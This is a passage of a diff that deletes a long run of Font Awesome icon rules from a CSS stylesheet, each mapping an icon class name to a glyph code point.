-.fa-compress-alt::before {
- content: "\f422"; }
-
-.fa-explosion::before {
- content: "\e4e9"; }
-
-.fa-file-lines::before {
- content: "\f15c"; }
-
-.fa-file-alt::before {
- content: "\f15c"; }
-
-.fa-file-text::before {
- content: "\f15c"; }
-
-.fa-wave-square::before {
- content: "\f83e"; }
-
-.fa-ring::before {
- content: "\f70b"; }
-
-.fa-building-un::before {
- content: "\e4d9"; }
-
-.fa-dice-three::before {
- content: "\f527"; }
-
-.fa-calendar-days::before {
- content: "\f073"; }
-
-.fa-calendar-alt::before {
- content: "\f073"; }
-
-.fa-anchor-circle-check::before {
- content: "\e4aa"; }
-
-.fa-building-circle-arrow-right::before {
- content: "\e4d1"; }
-
-.fa-volleyball::before {
- content: "\f45f"; }
-
-.fa-volleyball-ball::before {
- content: "\f45f"; }
-
-.fa-arrows-up-to-line::before {
- content: "\e4c2"; }
-
-.fa-sort-down::before {
- content: "\f0dd"; }
-
-.fa-sort-desc::before {
- content: "\f0dd"; }
-
-.fa-circle-minus::before {
- content: "\f056"; }
-
-.fa-minus-circle::before {
- content: "\f056"; }
-
-.fa-door-open::before {
- content: "\f52b"; }
-
-.fa-right-from-bracket::before {
- content: "\f2f5"; }
-
-.fa-sign-out-alt::before {
- content: "\f2f5"; }
-
-.fa-atom::before {
- content: "\f5d2"; }
-
-.fa-soap::before {
- content: "\e06e"; }
-
-.fa-icons::before {
- content: "\f86d"; }
-
-.fa-heart-music-camera-bolt::before {
- content: "\f86d"; }
-
-.fa-microphone-lines-slash::before {
- content: "\f539"; }
-
-.fa-microphone-alt-slash::before {
- content: "\f539"; }
-
-.fa-bridge-circle-check::before {
- content: "\e4c9"; }
-
-.fa-pump-medical::before {
- content: "\e06a"; }
-
-.fa-fingerprint::before {
- content: "\f577"; }
-
-.fa-hand-point-right::before {
- content: "\f0a4"; }
-
-.fa-magnifying-glass-location::before {
- content: "\f689"; }
-
-.fa-search-location::before {
- content: "\f689"; }
-
-.fa-forward-step::before {
- content: "\f051"; }
-
-.fa-step-forward::before {
- content: "\f051"; }
-
-.fa-face-smile-beam::before {
- content: "\f5b8"; }
-
-.fa-smile-beam::before {
- content: "\f5b8"; }
-
-.fa-flag-checkered::before {
- content: "\f11e"; }
-
-.fa-football::before {
- content: "\f44e"; }
-
-.fa-football-ball::before {
- content: "\f44e"; }
-
-.fa-school-circle-exclamation::before {
- content: "\e56c"; }
-
-.fa-crop::before {
- content: "\f125"; }
-
-.fa-angles-down::before {
- content: "\f103"; }
-
-.fa-angle-double-down::before {
- content: "\f103"; }
-
-.fa-users-rectangle::before {
- content: "\e594"; }
-
-.fa-people-roof::before {
- content: "\e537"; }
-
-.fa-people-line::before {
- content: "\e534"; }
-
-.fa-beer-mug-empty::before {
- content: "\f0fc"; }
-
-.fa-beer::before {
- content: "\f0fc"; }
-
-.fa-diagram-predecessor::before {
- content: "\e477"; }
-
-.fa-arrow-up-long::before {
- content: "\f176"; }
-
-.fa-long-arrow-up::before {
- content: "\f176"; }
-
-.fa-fire-flame-simple::before {
- content: "\f46a"; }
-
-.fa-burn::before {
- content: "\f46a"; }
-
-.fa-person::before {
- content: "\f183"; }
-
-.fa-male::before {
- content: "\f183"; }
-
-.fa-laptop::before {
- content: "\f109"; }
-
-.fa-file-csv::before {
- content: "\f6dd"; }
-
-.fa-menorah::before {
- content: "\f676"; }
-
-.fa-truck-plane::before {
- content: "\e58f"; }
-
-.fa-record-vinyl::before {
- content: "\f8d9"; }
-
-.fa-face-grin-stars::before {
- content: "\f587"; }
-
-.fa-grin-stars::before {
- content: "\f587"; }
-
-.fa-bong::before {
- content: "\f55c"; }
-
-.fa-spaghetti-monster-flying::before {
- content: "\f67b"; }
-
-.fa-pastafarianism::before {
- content: "\f67b"; }
-
-.fa-arrow-down-up-across-line::before {
- content: "\e4af"; }
-
-.fa-spoon::before {
- content: "\f2e5"; }
-
-.fa-utensil-spoon::before {
- content: "\f2e5"; }
-
-.fa-jar-wheat::before {
- content: "\e517"; }
-
-.fa-envelopes-bulk::before {
- content: "\f674"; }
-
-.fa-mail-bulk::before {
- content: "\f674"; }
-
-.fa-file-circle-exclamation::before {
- content: "\e4eb"; }
-
-.fa-circle-h::before {
- content: "\f47e"; }
-
-.fa-hospital-symbol::before {
- content: "\f47e"; }
-
-.fa-pager::before {
- content: "\f815"; }
-
-.fa-address-book::before {
- content: "\f2b9"; }
-
-.fa-contact-book::before {
- content: "\f2b9"; }
-
-.fa-strikethrough::before {
- content: "\f0cc"; }
-
-.fa-k::before {
- content: "\4b"; }
-
-.fa-landmark-flag::before {
- content: "\e51c"; }
-
-.fa-pencil::before {
- content: "\f303"; }
-
-.fa-pencil-alt::before {
- content: "\f303"; }
-
-.fa-backward::before {
- content: "\f04a"; }
-
-.fa-caret-right::before {
- content: "\f0da"; }
-
-.fa-comments::before {
- content: "\f086"; }
-
-.fa-paste::before {
- content: "\f0ea"; }
-
-.fa-file-clipboard::before {
- content: "\f0ea"; }
-
-.fa-code-pull-request::before {
- content: "\e13c"; }
-
-.fa-clipboard-list::before {
- content: "\f46d"; }
-
-.fa-truck-ramp-box::before {
- content: "\f4de"; }
-
-.fa-truck-loading::before {
- content: "\f4de"; }
-
-.fa-user-check::before {
- content: "\f4fc"; }
-
-.fa-vial-virus::before {
- content: "\e597"; }
-
-.fa-sheet-plastic::before {
- content: "\e571"; }
-
-.fa-blog::before {
- content: "\f781"; }
-
-.fa-user-ninja::before {
- content: "\f504"; }
-
-.fa-person-arrow-up-from-line::before {
- content: "\e539"; }
-
-.fa-scroll-torah::before {
- content: "\f6a0"; }
-
-.fa-torah::before {
- content: "\f6a0"; }
-
-.fa-broom-ball::before {
- content: "\f458"; }
-
-.fa-quidditch::before {
- content: "\f458"; }
-
-.fa-quidditch-broom-ball::before {
- content: "\f458"; }
-
-.fa-toggle-off::before {
- content: "\f204"; }
-
-.fa-box-archive::before {
- content: "\f187"; }
-
-.fa-archive::before {
- content: "\f187"; }
-
-.fa-person-drowning::before {
- content: "\e545"; }
-
-.fa-arrow-down-9-1::before {
- content: "\f886"; }
-
-.fa-sort-numeric-desc::before {
- content: "\f886"; }
-
-.fa-sort-numeric-down-alt::before {
- content: "\f886"; }
-
-.fa-face-grin-tongue-squint::before {
- content: "\f58a"; }
-
-.fa-grin-tongue-squint::before {
- content: "\f58a"; }
-
-.fa-spray-can::before {
- content: "\f5bd"; }
-
-.fa-truck-monster::before {
- content: "\f63b"; }
-
-.fa-w::before {
- content: "\57"; }
-
-.fa-earth-africa::before {
- content: "\f57c"; }
-
-.fa-globe-africa::before {
- content: "\f57c"; }
-
-.fa-rainbow::before {
- content: "\f75b"; }
-
-.fa-circle-notch::before {
- content: "\f1ce"; }
-
-.fa-tablet-screen-button::before {
- content: "\f3fa"; }
-
-.fa-tablet-alt::before {
- content: "\f3fa"; }
-
-.fa-paw::before {
- content: "\f1b0"; }
-
-.fa-cloud::before {
- content: "\f0c2"; }
-
-.fa-trowel-bricks::before {
- content: "\e58a"; }
-
-.fa-face-flushed::before {
- content: "\f579"; }
-
-.fa-flushed::before {
- content: "\f579"; }
-
-.fa-hospital-user::before {
- content: "\f80d"; }
-
-.fa-tent-arrow-left-right::before {
- content: "\e57f"; }
-
-.fa-gavel::before {
- content: "\f0e3"; }
-
-.fa-legal::before {
- content: "\f0e3"; }
-
-.fa-binoculars::before {
- content: "\f1e5"; }
-
-.fa-microphone-slash::before {
- content: "\f131"; }
-
-.fa-box-tissue::before {
- content: "\e05b"; }
-
-.fa-motorcycle::before {
- content: "\f21c"; }
-
-.fa-bell-concierge::before {
- content: "\f562"; }
-
-.fa-concierge-bell::before {
- content: "\f562"; }
-
-.fa-pen-ruler::before {
- content: "\f5ae"; }
-
-.fa-pencil-ruler::before {
- content: "\f5ae"; }
-
-.fa-people-arrows::before {
- content: "\e068"; }
-
-.fa-people-arrows-left-right::before {
- content: "\e068"; }
-
-.fa-mars-and-venus-burst::before {
- content: "\e523"; }
-
-.fa-square-caret-right::before {
- content: "\f152"; }
-
-.fa-caret-square-right::before {
- content: "\f152"; }
-
-.fa-scissors::before {
- content: "\f0c4"; }
-
-.fa-cut::before {
- content: "\f0c4"; }
-
-.fa-sun-plant-wilt::before {
- content: "\e57a"; }
-
-.fa-toilets-portable::before {
- content: "\e584"; }
-
-.fa-hockey-puck::before {
- content: "\f453"; }
-
-.fa-table::before {
- content: "\f0ce"; }
-
-.fa-magnifying-glass-arrow-right::before {
- content: "\e521"; }
-
-.fa-tachograph-digital::before {
- content: "\f566"; }
-
-.fa-digital-tachograph::before {
- content: "\f566"; }
-
-.fa-users-slash::before {
- content: "\e073"; }
-
-.fa-clover::before {
- content: "\e139"; }
-
-.fa-reply::before {
- content: "\f3e5"; }
-
-.fa-mail-reply::before {
- content: "\f3e5"; }
-
-.fa-star-and-crescent::before {
- content: "\f699"; }
-
-.fa-house-fire::before {
- content: "\e50c"; }
-
-.fa-square-minus::before {
- content: "\f146"; }
-
-.fa-minus-square::before {
- content: "\f146"; }
-
-.fa-helicopter::before {
- content: "\f533"; }
-
-.fa-compass::before {
- content: "\f14e"; }
-
-.fa-square-caret-down::before {
- content: "\f150"; }
-
-.fa-caret-square-down::before {
- content: "\f150"; }
-
-.fa-file-circle-question::before {
- content: "\e4ef"; }
-
-.fa-laptop-code::before {
- content: "\f5fc"; }
-
-.fa-swatchbook::before {
- content: "\f5c3"; }
-
-.fa-prescription-bottle::before {
- content: "\f485"; }
-
-.fa-bars::before {
- content: "\f0c9"; }
-
-.fa-navicon::before {
- content: "\f0c9"; }
-
-.fa-people-group::before {
- content: "\e533"; }
-
-.fa-hourglass-end::before {
- content: "\f253"; }
-
-.fa-hourglass-3::before {
- content: "\f253"; }
-
-.fa-heart-crack::before {
- content: "\f7a9"; }
-
-.fa-heart-broken::before {
- content: "\f7a9"; }
-
-.fa-square-up-right::before {
- content: "\f360"; }
-
-.fa-external-link-square-alt::before {
- content: "\f360"; }
-
-.fa-face-kiss-beam::before {
- content: "\f597"; }
-
-.fa-kiss-beam::before {
- content: "\f597"; }
-
-.fa-film::before {
- content: "\f008"; }
-
-.fa-ruler-horizontal::before {
- content: "\f547"; }
-
-.fa-people-robbery::before {
- content: "\e536"; }
-
-.fa-lightbulb::before {
- content: "\f0eb"; }
-
-.fa-caret-left::before {
- content: "\f0d9"; }
-
-.fa-circle-exclamation::before {
- content: "\f06a"; }
-
-.fa-exclamation-circle::before {
- content: "\f06a"; }
-
-.fa-school-circle-xmark::before {
- content: "\e56d"; }
-
-.fa-arrow-right-from-bracket::before {
- content: "\f08b"; }
-
-.fa-sign-out::before {
- content: "\f08b"; }
-
-.fa-circle-chevron-down::before {
- content: "\f13a"; }
-
-.fa-chevron-circle-down::before {
- content: "\f13a"; }
-
-.fa-unlock-keyhole::before {
- content: "\f13e"; }
-
-.fa-unlock-alt::before {
- content: "\f13e"; }
-
-.fa-cloud-showers-heavy::before {
- content: "\f740"; }
-
-.fa-headphones-simple::before {
- content: "\f58f"; }
-
-.fa-headphones-alt::before {
- content: "\f58f"; }
-
-.fa-sitemap::before {
- content: "\f0e8"; }
-
-.fa-circle-dollar-to-slot::before {
- content: "\f4b9"; }
-
-.fa-donate::before {
- content: "\f4b9"; }
-
-.fa-memory::before {
- content: "\f538"; }
-
-.fa-road-spikes::before {
- content: "\e568"; }
-
-.fa-fire-burner::before {
- content: "\e4f1"; }
-
-.fa-flag::before {
- content: "\f024"; }
-
-.fa-hanukiah::before {
- content: "\f6e6"; }
-
-.fa-feather::before {
- content: "\f52d"; }
-
-.fa-volume-low::before {
- content: "\f027"; }
-
-.fa-volume-down::before {
- content: "\f027"; }
-
-.fa-comment-slash::before {
- content: "\f4b3"; }
-
-.fa-cloud-sun-rain::before {
- content: "\f743"; }
-
-.fa-compress::before {
- content: "\f066"; }
-
-.fa-wheat-awn::before {
- content: "\e2cd"; }
-
-.fa-wheat-alt::before {
- content: "\e2cd"; }
-
-.fa-ankh::before {
- content: "\f644"; }
-
-.fa-hands-holding-child::before {
- content: "\e4fa"; }
-
-.fa-asterisk::before {
- content: "\2a"; }
-
-.fa-square-check::before {
- content: "\f14a"; }
-
-.fa-check-square::before {
- content: "\f14a"; }
-
-.fa-peseta-sign::before {
- content: "\e221"; }
-
-.fa-heading::before {
- content: "\f1dc"; }
-
-.fa-header::before {
- content: "\f1dc"; }
-
-.fa-ghost::before {
- content: "\f6e2"; }
-
-.fa-list::before {
- content: "\f03a"; }
-
-.fa-list-squares::before {
- content: "\f03a"; }
-
-.fa-square-phone-flip::before {
- content: "\f87b"; }
-
-.fa-phone-square-alt::before {
- content: "\f87b"; }
-
-.fa-cart-plus::before {
- content: "\f217"; }
-
-.fa-gamepad::before {
- content: "\f11b"; }
-
-.fa-circle-dot::before {
- content: "\f192"; }
-
-.fa-dot-circle::before {
- content: "\f192"; }
-
-.fa-face-dizzy::before {
- content: "\f567"; }
-
-.fa-dizzy::before {
- content: "\f567"; }
-
-.fa-egg::before {
- content: "\f7fb"; }
-
-.fa-house-medical-circle-xmark::before {
- content: "\e513"; }
-
-.fa-campground::before {
- content: "\f6bb"; }
-
-.fa-folder-plus::before {
- content: "\f65e"; }
-
-.fa-futbol::before {
- content: "\f1e3"; }
-
-.fa-futbol-ball::before {
- content: "\f1e3"; }
-
-.fa-soccer-ball::before {
- content: "\f1e3"; }
-
-.fa-paintbrush::before {
- content: "\f1fc"; }
-
-.fa-paint-brush::before {
- content: "\f1fc"; }
-
-.fa-lock::before {
- content: "\f023"; }
-
-.fa-gas-pump::before {
- content: "\f52f"; }
-
-.fa-hot-tub-person::before {
- content: "\f593"; }
-
-.fa-hot-tub::before {
- content: "\f593"; }
-
-.fa-map-location::before {
- content: "\f59f"; }
-
-.fa-map-marked::before {
- content: "\f59f"; }
-
-.fa-house-flood-water::before {
- content: "\e50e"; }
-
-.fa-tree::before {
- content: "\f1bb"; }
-
-.fa-bridge-lock::before {
- content: "\e4cc"; }
-
-.fa-sack-dollar::before {
- content: "\f81d"; }
-
-.fa-pen-to-square::before {
- content: "\f044"; }
-
-.fa-edit::before {
- content: "\f044"; }
-
-.fa-car-side::before {
- content: "\f5e4"; }
-
-.fa-share-nodes::before {
- content: "\f1e0"; }
-
-.fa-share-alt::before {
- content: "\f1e0"; }
-
-.fa-heart-circle-minus::before {
- content: "\e4ff"; }
-
-.fa-hourglass-half::before {
- content: "\f252"; }
-
-.fa-hourglass-2::before {
- content: "\f252"; }
-
-.fa-microscope::before {
- content: "\f610"; }
-
-.fa-sink::before {
- content: "\e06d"; }
-
-.fa-bag-shopping::before {
- content: "\f290"; }
-
-.fa-shopping-bag::before {
- content: "\f290"; }
-
-.fa-arrow-down-z-a::before {
- content: "\f881"; }
-
-.fa-sort-alpha-desc::before {
- content: "\f881"; }
-
-.fa-sort-alpha-down-alt::before {
- content: "\f881"; }
-
-.fa-mitten::before {
- content: "\f7b5"; }
-
-.fa-person-rays::before {
- content: "\e54d"; }
-
-.fa-users::before {
- content: "\f0c0"; }
-
-.fa-eye-slash::before {
- content: "\f070"; }
-
-.fa-flask-vial::before {
- content: "\e4f3"; }
-
-.fa-hand::before {
- content: "\f256"; }
-
-.fa-hand-paper::before {
- content: "\f256"; }
-
-.fa-om::before {
- content: "\f679"; }
-
-.fa-worm::before {
- content: "\e599"; }
-
-.fa-house-circle-xmark::before {
- content: "\e50b"; }
-
-.fa-plug::before {
- content: "\f1e6"; }
-
-.fa-chevron-up::before {
- content: "\f077"; }
-
-.fa-hand-spock::before {
- content: "\f259"; }
-
-.fa-stopwatch::before {
- content: "\f2f2"; }
-
-.fa-face-kiss::before {
- content: "\f596"; }
-
-.fa-kiss::before {
- content: "\f596"; }
-
-.fa-bridge-circle-xmark::before {
- content: "\e4cb"; }
-
-.fa-face-grin-tongue::before {
- content: "\f589"; }
-
-.fa-grin-tongue::before {
- content: "\f589"; }
-
-.fa-chess-bishop::before {
- content: "\f43a"; }
-
-.fa-face-grin-wink::before {
- content: "\f58c"; }
-
-.fa-grin-wink::before {
- content: "\f58c"; }
-
-.fa-ear-deaf::before {
- content: "\f2a4"; }
-
-.fa-deaf::before {
- content: "\f2a4"; }
-
-.fa-deafness::before {
- content: "\f2a4"; }
-
-.fa-hard-of-hearing::before {
- content: "\f2a4"; }
-
-.fa-road-circle-check::before {
- content: "\e564"; }
-
-.fa-dice-five::before {
- content: "\f523"; }
-
-.fa-square-rss::before {
- content: "\f143"; }
-
-.fa-rss-square::before {
- content: "\f143"; }
-
-.fa-land-mine-on::before {
- content: "\e51b"; }
-
-.fa-i-cursor::before {
- content: "\f246"; }
-
-.fa-stamp::before {
- content: "\f5bf"; }
-
-.fa-stairs::before {
- content: "\e289"; }
-
-.fa-i::before {
- content: "\49"; }
-
-.fa-hryvnia-sign::before {
- content: "\f6f2"; }
-
-.fa-hryvnia::before {
- content: "\f6f2"; }
-
-.fa-pills::before {
- content: "\f484"; }
-
-.fa-face-grin-wide::before {
- content: "\f581"; }
-
-.fa-grin-alt::before {
- content: "\f581"; }
-
-.fa-tooth::before {
- content: "\f5c9"; }
-
-.fa-v::before {
- content: "\56"; }
-
-.fa-bangladeshi-taka-sign::before {
- content: "\e2e6"; }
-
-.fa-bicycle::before {
- content: "\f206"; }
-
-.fa-staff-snake::before {
- content: "\e579"; }
-
-.fa-rod-asclepius::before {
- content: "\e579"; }
-
-.fa-rod-snake::before {
- content: "\e579"; }
-
-.fa-staff-aesculapius::before {
- content: "\e579"; }
-
-.fa-head-side-cough-slash::before {
- content: "\e062"; }
-
-.fa-truck-medical::before {
- content: "\f0f9"; }
-
-.fa-ambulance::before {
- content: "\f0f9"; }
-
-.fa-wheat-awn-circle-exclamation::before {
- content: "\e598"; }
-
-.fa-snowman::before {
- content: "\f7d0"; }
-
-.fa-mortar-pestle::before {
- content: "\f5a7"; }
-
-.fa-road-barrier::before {
- content: "\e562"; }
-
-.fa-school::before {
- content: "\f549"; }
-
-.fa-igloo::before {
- content: "\f7ae"; }
-
-.fa-joint::before {
- content: "\f595"; }
-
-.fa-angle-right::before {
- content: "\f105"; }
-
-.fa-horse::before {
- content: "\f6f0"; }
-
-.fa-q::before {
- content: "\51"; }
-
-.fa-g::before {
- content: "\47"; }
-
-.fa-notes-medical::before {
- content: "\f481"; }
-
-.fa-temperature-half::before {
- content: "\f2c9"; }
-
-.fa-temperature-2::before {
- content: "\f2c9"; }
-
-.fa-thermometer-2::before {
- content: "\f2c9"; }
-
-.fa-thermometer-half::before {
- content: "\f2c9"; }
-
-.fa-dong-sign::before {
- content: "\e169"; }
-
-.fa-capsules::before {
- content: "\f46b"; }
-
-.fa-poo-storm::before {
- content: "\f75a"; }
-
-.fa-poo-bolt::before {
- content: "\f75a"; }
-
-.fa-face-frown-open::before {
- content: "\f57a"; }
-
-.fa-frown-open::before {
- content: "\f57a"; }
-
-.fa-hand-point-up::before {
- content: "\f0a6"; }
-
-.fa-money-bill::before {
- content: "\f0d6"; }
-
-.fa-bookmark::before {
- content: "\f02e"; }
-
-.fa-align-justify::before {
- content: "\f039"; }
-
-.fa-umbrella-beach::before {
- content: "\f5ca"; }
-
-.fa-helmet-un::before {
- content: "\e503"; }
-
-.fa-bullseye::before {
- content: "\f140"; }
-
-.fa-bacon::before {
- content: "\f7e5"; }
-
-.fa-hand-point-down::before {
- content: "\f0a7"; }
-
-.fa-arrow-up-from-bracket::before {
- content: "\e09a"; }
-
-.fa-folder::before {
- content: "\f07b"; }
-
-.fa-folder-blank::before {
- content: "\f07b"; }
-
-.fa-file-waveform::before {
- content: "\f478"; }
-
-.fa-file-medical-alt::before {
- content: "\f478"; }
-
-.fa-radiation::before {
- content: "\f7b9"; }
-
-.fa-chart-simple::before {
- content: "\e473"; }
-
-.fa-mars-stroke::before {
- content: "\f229"; }
-
-.fa-vial::before {
- content: "\f492"; }
-
-.fa-gauge::before {
- content: "\f624"; }
-
-.fa-dashboard::before {
- content: "\f624"; }
-
-.fa-gauge-med::before {
- content: "\f624"; }
-
-.fa-tachometer-alt-average::before {
- content: "\f624"; }
-
-.fa-wand-magic-sparkles::before {
- content: "\e2ca"; }
-
-.fa-magic-wand-sparkles::before {
- content: "\e2ca"; }
-
-.fa-e::before {
- content: "\45"; }
-
-.fa-pen-clip::before {
- content: "\f305"; }
-
-.fa-pen-alt::before {
- content: "\f305"; }
-
-.fa-bridge-circle-exclamation::before {
- content: "\e4ca"; }
-
-.fa-user::before {
- content: "\f007"; }
-
-.fa-school-circle-check::before {
- content: "\e56b"; }
-
-.fa-dumpster::before {
- content: "\f793"; }
-
-.fa-van-shuttle::before {
- content: "\f5b6"; }
-
-.fa-shuttle-van::before {
- content: "\f5b6"; }
-
-.fa-building-user::before {
- content: "\e4da"; }
-
-.fa-square-caret-left::before {
- content: "\f191"; }
-
-.fa-caret-square-left::before {
- content: "\f191"; }
-
-.fa-highlighter::before {
- content: "\f591"; }
-
-.fa-key::before {
- content: "\f084"; }
-
-.fa-bullhorn::before {
- content: "\f0a1"; }
-
-.fa-globe::before {
- content: "\f0ac"; }
-
-.fa-synagogue::before {
- content: "\f69b"; }
-
-.fa-person-half-dress::before {
- content: "\e548"; }
-
-.fa-road-bridge::before {
- content: "\e563"; }
-
-.fa-location-arrow::before {
- content: "\f124"; }
-
-.fa-c::before {
- content: "\43"; }
-
-.fa-tablet-button::before {
- content: "\f10a"; }
-
-.fa-building-lock::before {
- content: "\e4d6"; }
-
-.fa-pizza-slice::before {
- content: "\f818"; }
-
-.fa-money-bill-wave::before {
- content: "\f53a"; }
-
-.fa-chart-area::before {
- content: "\f1fe"; }
-
-.fa-area-chart::before {
- content: "\f1fe"; }
-
-.fa-house-flag::before {
- content: "\e50d"; }
-
-.fa-person-circle-minus::before {
- content: "\e540"; }
-
-.fa-ban::before {
- content: "\f05e"; }
-
-.fa-cancel::before {
- content: "\f05e"; }
-
-.fa-camera-rotate::before {
- content: "\e0d8"; }
-
-.fa-spray-can-sparkles::before {
- content: "\f5d0"; }
-
-.fa-air-freshener::before {
- content: "\f5d0"; }
-
-.fa-star::before {
- content: "\f005"; }
-
-.fa-repeat::before {
- content: "\f363"; }
-
-.fa-cross::before {
- content: "\f654"; }
-
-.fa-box::before {
- content: "\f466"; }
-
-.fa-venus-mars::before {
- content: "\f228"; }
-
-.fa-arrow-pointer::before {
- content: "\f245"; }
-
-.fa-mouse-pointer::before {
- content: "\f245"; }
-
-.fa-maximize::before {
- content: "\f31e"; }
-
-.fa-expand-arrows-alt::before {
- content: "\f31e"; }
-
-.fa-charging-station::before {
- content: "\f5e7"; }
-
-.fa-shapes::before {
- content: "\f61f"; }
-
-.fa-triangle-circle-square::before {
- content: "\f61f"; }
-
-.fa-shuffle::before {
- content: "\f074"; }
-
-.fa-random::before {
- content: "\f074"; }
-
-.fa-person-running::before {
- content: "\f70c"; }
-
-.fa-running::before {
- content: "\f70c"; }
-
-.fa-mobile-retro::before {
- content: "\e527"; }
-
-.fa-grip-lines-vertical::before {
- content: "\f7a5"; }
-
-.fa-spider::before {
- content: "\f717"; }
-
-.fa-hands-bound::before {
- content: "\e4f9"; }
-
-.fa-file-invoice-dollar::before {
- content: "\f571"; }
-
-.fa-plane-circle-exclamation::before {
- content: "\e556"; }
-
-.fa-x-ray::before {
- content: "\f497"; }
-
-.fa-spell-check::before {
- content: "\f891"; }
-
-.fa-slash::before {
- content: "\f715"; }
-
-.fa-computer-mouse::before {
- content: "\f8cc"; }
-
-.fa-mouse::before {
- content: "\f8cc"; }
-
-.fa-arrow-right-to-bracket::before {
- content: "\f090"; }
-
-.fa-sign-in::before {
- content: "\f090"; }
-
-.fa-shop-slash::before {
- content: "\e070"; }
-
-.fa-store-alt-slash::before {
- content: "\e070"; }
-
-.fa-server::before {
- content: "\f233"; }
-
-.fa-virus-covid-slash::before {
- content: "\e4a9"; }
-
-.fa-shop-lock::before {
- content: "\e4a5"; }
-
-.fa-hourglass-start::before {
- content: "\f251"; }
-
-.fa-hourglass-1::before {
- content: "\f251"; }
-
-.fa-blender-phone::before {
- content: "\f6b6"; }
-
-.fa-building-wheat::before {
- content: "\e4db"; }
-
-.fa-person-breastfeeding::before {
- content: "\e53a"; }
-
-.fa-right-to-bracket::before {
- content: "\f2f6"; }
-
-.fa-sign-in-alt::before {
- content: "\f2f6"; }
-
-.fa-venus::before {
- content: "\f221"; }
-
-.fa-passport::before {
- content: "\f5ab"; }
-
-.fa-heart-pulse::before {
- content: "\f21e"; }
-
-.fa-heartbeat::before {
- content: "\f21e"; }
-
-.fa-people-carry-box::before {
- content: "\f4ce"; }
-
-.fa-people-carry::before {
- content: "\f4ce"; }
-
-.fa-temperature-high::before {
- content: "\f769"; }
-
-.fa-microchip::before {
- content: "\f2db"; }
-
-.fa-crown::before {
- content: "\f521"; }
-
-.fa-weight-hanging::before {
- content: "\f5cd"; }
-
-.fa-xmarks-lines::before {
- content: "\e59a"; }
-
-.fa-file-prescription::before {
- content: "\f572"; }
-
-.fa-weight-scale::before {
- content: "\f496"; }
-
-.fa-weight::before {
- content: "\f496"; }
-
-.fa-user-group::before {
- content: "\f500"; }
-
-.fa-user-friends::before {
- content: "\f500"; }
-
-.fa-arrow-up-a-z::before {
- content: "\f15e"; }
-
-.fa-sort-alpha-up::before {
- content: "\f15e"; }
-
-.fa-chess-knight::before {
- content: "\f441"; }
-
-.fa-face-laugh-squint::before {
- content: "\f59b"; }
-
-.fa-laugh-squint::before {
- content: "\f59b"; }
-
-.fa-wheelchair::before {
- content: "\f193"; }
-
-.fa-circle-arrow-up::before {
- content: "\f0aa"; }
-
-.fa-arrow-circle-up::before {
- content: "\f0aa"; }
-
-.fa-toggle-on::before {
- content: "\f205"; }
-
-.fa-person-walking::before {
- content: "\f554"; }
-
-.fa-walking::before {
- content: "\f554"; }
-
-.fa-l::before {
- content: "\4c"; }
-
-.fa-fire::before {
- content: "\f06d"; }
-
-.fa-bed-pulse::before {
- content: "\f487"; }
-
-.fa-procedures::before {
- content: "\f487"; }
-
-.fa-shuttle-space::before {
- content: "\f197"; }
-
-.fa-space-shuttle::before {
- content: "\f197"; }
-
-.fa-face-laugh::before {
- content: "\f599"; }
-
-.fa-laugh::before {
- content: "\f599"; }
-
-.fa-folder-open::before {
- content: "\f07c"; }
-
-.fa-heart-circle-plus::before {
- content: "\e500"; }
-
-.fa-code-fork::before {
- content: "\e13b"; }
-
-.fa-city::before {
- content: "\f64f"; }
-
-.fa-microphone-lines::before {
- content: "\f3c9"; }
-
-.fa-microphone-alt::before {
- content: "\f3c9"; }
-
-.fa-pepper-hot::before {
- content: "\f816"; }
-
-.fa-unlock::before {
- content: "\f09c"; }
-
-.fa-colon-sign::before {
- content: "\e140"; }
-
-.fa-headset::before {
- content: "\f590"; }
-
-.fa-store-slash::before {
- content: "\e071"; }
-
-.fa-road-circle-xmark::before {
- content: "\e566"; }
-
-.fa-user-minus::before {
- content: "\f503"; }
-
-.fa-mars-stroke-up::before {
- content: "\f22a"; }
-
-.fa-mars-stroke-v::before {
- content: "\f22a"; }
-
-.fa-champagne-glasses::before {
- content: "\f79f"; }
-
-.fa-glass-cheers::before {
- content: "\f79f"; }
-
-.fa-clipboard::before {
- content: "\f328"; }
-
-.fa-house-circle-exclamation::before {
- content: "\e50a"; }
-
-.fa-file-arrow-up::before {
- content: "\f574"; }
-
-.fa-file-upload::before {
- content: "\f574"; }
-
-.fa-wifi::before {
- content: "\f1eb"; }
-
-.fa-wifi-3::before {
- content: "\f1eb"; }
-
-.fa-wifi-strong::before {
- content: "\f1eb"; }
-
-.fa-bath::before {
- content: "\f2cd"; }
-
-.fa-bathtub::before {
- content: "\f2cd"; }
-
-.fa-underline::before {
- content: "\f0cd"; }
-
-.fa-user-pen::before {
- content: "\f4ff"; }
-
-.fa-user-edit::before {
- content: "\f4ff"; }
-
-.fa-signature::before {
- content: "\f5b7"; }
-
-.fa-stroopwafel::before {
- content: "\f551"; }
-
-.fa-bold::before {
- content: "\f032"; }
-
-.fa-anchor-lock::before {
- content: "\e4ad"; }
-
-.fa-building-ngo::before {
- content: "\e4d7"; }
-
-.fa-manat-sign::before {
- content: "\e1d5"; }
-
-.fa-not-equal::before {
- content: "\f53e"; }
-
-.fa-border-top-left::before {
- content: "\f853"; }
-
-.fa-border-style::before {
- content: "\f853"; }
-
-.fa-map-location-dot::before {
- content: "\f5a0"; }
-
-.fa-map-marked-alt::before {
- content: "\f5a0"; }
-
-.fa-jedi::before {
- content: "\f669"; }
-
-.fa-square-poll-vertical::before {
- content: "\f681"; }
-
-.fa-poll::before {
- content: "\f681"; }
-
-.fa-mug-hot::before {
- content: "\f7b6"; }
-
-.fa-car-battery::before {
- content: "\f5df"; }
-
-.fa-battery-car::before {
- content: "\f5df"; }
-
-.fa-gift::before {
- content: "\f06b"; }
-
-.fa-dice-two::before {
- content: "\f528"; }
-
-.fa-chess-queen::before {
- content: "\f445"; }
-
-.fa-glasses::before {
- content: "\f530"; }
-
-.fa-chess-board::before {
- content: "\f43c"; }
-
-.fa-building-circle-check::before {
- content: "\e4d2"; }
-
-.fa-person-chalkboard::before {
- content: "\e53d"; }
-
-.fa-mars-stroke-right::before {
- content: "\f22b"; }
-
-.fa-mars-stroke-h::before {
- content: "\f22b"; }
-
-.fa-hand-back-fist::before {
- content: "\f255"; }
-
-.fa-hand-rock::before {
- content: "\f255"; }
-
-.fa-square-caret-up::before {
- content: "\f151"; }
-
-.fa-caret-square-up::before {
- content: "\f151"; }
-
-.fa-cloud-showers-water::before {
- content: "\e4e4"; }
-
-.fa-chart-bar::before {
- content: "\f080"; }
-
-.fa-bar-chart::before {
- content: "\f080"; }
-
-.fa-hands-bubbles::before {
- content: "\e05e"; }
-
-.fa-hands-wash::before {
